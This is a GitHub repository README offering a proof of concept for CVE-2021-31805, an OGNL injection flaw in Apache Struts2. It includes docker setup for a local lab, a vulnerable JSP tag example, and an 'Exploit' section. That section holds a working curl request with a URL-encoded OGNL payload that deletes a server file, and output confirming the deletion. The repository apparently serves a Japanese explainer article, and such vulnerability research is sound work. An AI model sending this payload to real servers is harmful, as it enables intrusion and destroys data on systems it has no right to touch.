Skip to content

aeyesec/CVE-2021-31805

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

6 Commits
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2021-31805

PoC for CVE-2021-31805 (Apache Struts2) CVE-2021-31805の解説記事で使用したアプリケーションです。

セットアップ

$ docker-compose build
$ docker-compose up -d

動作確認

http://localhost:8080/struts2-showcase-2.5.29/index.html にアクセスしWelcomeページが表示されることを確認します。

Exploit

$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/index.html'
HTTP/1.1 200
(略)
$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/skill/list.action?skillName=%28%23%61%70%70%6c%69%63%61%74%69%6f%6e%5b%27%6f%72%67%2e%61%70%61%63%68%65%2e%63%61%74%61%6c%69%6e%61%2e%72%65%73%6f%75%72%63%65%73%27%5d%2e%67%65%74%52%65%73%6f%75%72%63%65%28%27%2f%69%6e%64%65%78%2e%68%74%6d%6c%27%29%2e%64%65%6c%65%74%65%28%29%29'
HTTP/1.1 200
(略)
URLデコードした値は
skillName=(#application['org.apache.catalina.resources'].getResource('/index.html').delete())
です。

$ curl -I 'http://localhost:8080/struts2-showcase-2.5.29/index.html'
HTTP/1.1 404
(snip)
index.htmlファイルが削除されていることが確認できます。

脆弱なコードの例

<li><s:label id="test2" name="%{skillName}"/></li>

参考情報

About

PoC for CVE-2021-31805 (Apache Struts2)

Resources

License

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published